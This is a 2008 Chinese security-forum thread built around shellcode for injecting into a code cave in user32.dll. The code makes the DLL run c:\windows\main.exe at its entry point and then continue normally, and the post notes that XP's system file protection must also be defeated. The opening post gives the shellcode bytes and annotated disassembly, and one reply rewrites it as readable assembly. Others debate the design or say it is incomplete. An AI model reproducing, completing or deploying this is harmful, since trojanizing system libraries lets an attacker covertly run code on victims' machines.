首页
论坛
课程
招聘
[原创]奇妙的shellcode
2008-10-28 23:45 7932

[原创]奇妙的shellcode

2008-10-28 23:45
7932
Shellcode dd 0E8h               
                dd 0C0835800h, 0C083502Fh, 90FF5008h, 0
                dd 0E850h, 0FF580000h, 90h, 0E8006A00h, 0
                dd 21C18359h, 0E9D0FF51h, 0
               
aWinexec_0     db 'WinExec',0
aKernel32_dll   db 'kernel32.dll',0
ZhanWeiFile     db 'c:\windows\main.exe',0


上面是一段shellcode的代码,可以把这段代码插入到user32.dll文件的.text空隙中。只要空隙的大小有70h字节就足够了。另外里面用的GetModuleHandleA,GetProcAddress等函数地址,可以直接搜索user32.dll文件的导入表获得。只要把user32.dll加载到一个缓冲区就可以进行搜了。当然还要对xp的sfc进行突破。

这段shellcode码的作用就是在入口处执行,功能是执行一个ZhanWeiFile字符串描述的exe。

0012FF4C E8 00 00 00 00       call        0012FF51        
0012FF51 58                   pop         eax
0012FF52 83 C0 2F             add         eax,2Fh
0012FF55 50                   push        eax         ;"WinExec"
0012FF56 83 C0 08             add         eax,8
0012FF59 50                   push        eax         ;"Kernel32.dll"
0012FF5A FF 90 00 00 00 00    call        dword ptr [eax + 0]                                                               

    注意这里是距shellcode开头偏移10h的位置,将来把0偏移填充为GetModuleHandleA距离字符串"Kernel32.dll"的相对偏移。
0012FF60 50                   push        eax
0012FF61 E8 00 00 00 00       call        0012FF66
0012FF66 58                   pop         eax      
    注意这里是距shellcode开头偏移1ah
0012FF67 FF 90 00 00 00 00    call        dword ptr [eax + 0]
   注意这里的0偏移是距shellcode开头偏移1Dh的位置,将来把0偏移填充为GetProcAddress距离上面偏移(即shellcode开头偏移1ah)的相对偏移                                                               
0012FF6D 6A 00                push        0               //winexec参数1
0012FF6F E8 00 00 00 00       call        0012FF74
0012FF74 59                   pop         ecx
0012FF75 83 C1 21             add         ecx,21h      
    注意这里偏移21h,正好指向字符串ZhanWeiFile     
0012FF78 51                   push        ecx             //winexec参数2
0012FF79 FF D0                call        eax      //winexec
0012FF7B E9 00 00 00 00       jmp         0012FF80 //跳到AddressOfEntry 。
注意 E9字节也即本行开头距shellcode开头偏移为2fh 。后面将会计算本行与AddressOfEntry的相对偏移,然后将这个相对偏移填充到30h的位置。
                                                   
0012ff80 aWinexec_0      db 'WinExec',0
0012ff88 aKernel32_dll   db 'kernel32.dll',0
0012ff95 ZhanWeiFile     db 'c:\windows\main.exe',0

【公告】【iPhone 13、ipad、iWatch】11月15日中午12:00,看雪·众安 2021 KCTF秋季赛 正式开赛【攻击篇】!!!文末有惊喜~

收藏
点赞0
打赏
分享
最新回复 (16)
雪    币: 440
活跃值: 活跃值 (59)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
StarsunYzL 活跃值 2008-10-29 00:23
2
0
没看明白,咋一看还以为这么短能自定位函数,原来是要外部填充,既然要外部填充,那何必又要在shellcode里GetModuleHandleA呢,直接在外部GetModuleHandleA填进shellcode,然后shellcode里直接
call WinExec
jmp xxxxxxxx
不一样么??
雪    币: 6881
活跃值: 活跃值 (307)
能力值: (RANK:1290 )
在线值:
发帖
回帖
粉丝
玩命 活跃值 31 2008-10-30 00:48
3
0
看牛帖,一定要整死的顶。。。
雪    币: 240
活跃值: 活跃值 (10)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
三根火柴 活跃值 4 2008-10-30 00:57
4
0
不懂,继续努力
雪    币: 293
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
icersg 活跃值 2008-10-30 01:26
5
0
看文章第一句话,我想楼主是要插入到user32.dll,里面没有引入WinExec,所以才这样写。要是插入到kernel32.dll,觉得还是你说的方法比较方便。
雪    币: 5536
活跃值: 活跃值 (51)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
forgot 活跃值 26 2008-10-30 03:52
6
0
至今还没见过一个不引入kernel32而引入user32的程序
雪    币: 306
活跃值: 活跃值 (424)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sixL 活跃值 2008-10-30 08:42
7
0
Shellcode dd 0E8h
dd 0C0835800h, 0C083502Fh, 90FF5008h, 0
dd 0E850h, 0FF580000h, 90h, 0E8006A00h, 0
dd 21C18359h, 0E9D0FF51h, 0

aWinexec_0 db 'WinExec',0
aKernel32_dll db 'kernel32.dll',0
ZhanWeiFile db 'c:\windows\main.exe',0

不可用,或我们不知道如何用。
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gqdsc 活跃值 2008-10-30 08:57
8
0
这么做什么呀?迷糊,看来要多努力~~
雪    币: 104
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
Aleaxander 活跃值 1 2008-10-31 17:06
9
0
看的稀里糊涂的
雪    币: 41
活跃值: 活跃值 (36)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
nightxie 活跃值 3 2008-10-31 17:11
10
0
又见这篇文章~~~
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
evilisland 活跃值 2008-10-31 18:06
11
0
看不明白~~~
雪    币: 203
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wwwst 活跃值 2008-11-1 18:40
12
0
精彩~~~~~~~~~~~~~~~~~
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
太难了 活跃值 2008-11-2 23:26
13
0
没见楼主叫你自己搜索 API 吗
雪    币: 306
活跃值: 活跃值 (424)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sixL 活跃值 2008-11-3 18:52
14
0
至少要局部可用,才可细究。否则耗费时间,结果归零。
对断章取节深感郁闷......
雪    币: 266
活跃值: 活跃值 (22)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
xfish 活跃值 5 2008-11-5 12:06
15
0
代码的技巧其实应该不在于这段combojiang构造的shellcode。在于combojiang如何去填充这些GetModuleHandleA, GetProcAddress函数的地址。combojiang好像没有说明啊。

这段shellcode其实很简单,将其恢复为汇编则为如下:

call $+5
@@:
pop eax

add eax, pszWinExec - @b

push eax

add eax, pszKernel - pszWinExec

push eax

call dword [eax+ pGetModule-pszKernel]

push eax

call $+5
@@:
pop eax

call dword [eax+ pGetProc - @b]

push 0 ;winexec参数

call $+5
@@:
pop ecx

add ecx, pszFile - @b

push ecx ;winexec参数

call eax

jmp 0012FF80h     ;入口偏移

pszWinExec db 'WinExec',0

pszKernel db 'kernel32.dll', 0

pszFile db 'c:\windows\main.exe', 0

pGetModule rd 1

pGetProc rd 1
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
wsyzyddd 活跃值 1 2008-11-6 15:26
16
0
以前考虑过
搜索 user32之类的模块中调用目标API的CODE
然后 调用user32中的调用API的code

LZ厉害,直接调用了。
雪    币: 208
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
saga 活跃值 2 2008-11-20 20:23
17
0
时间不多  不细想了   没有太明白意图啊  呵呵   lz还是要说清楚些啊
楼主还是辛苦了 顶下
游客
登录 | 注册 方可回帖
返回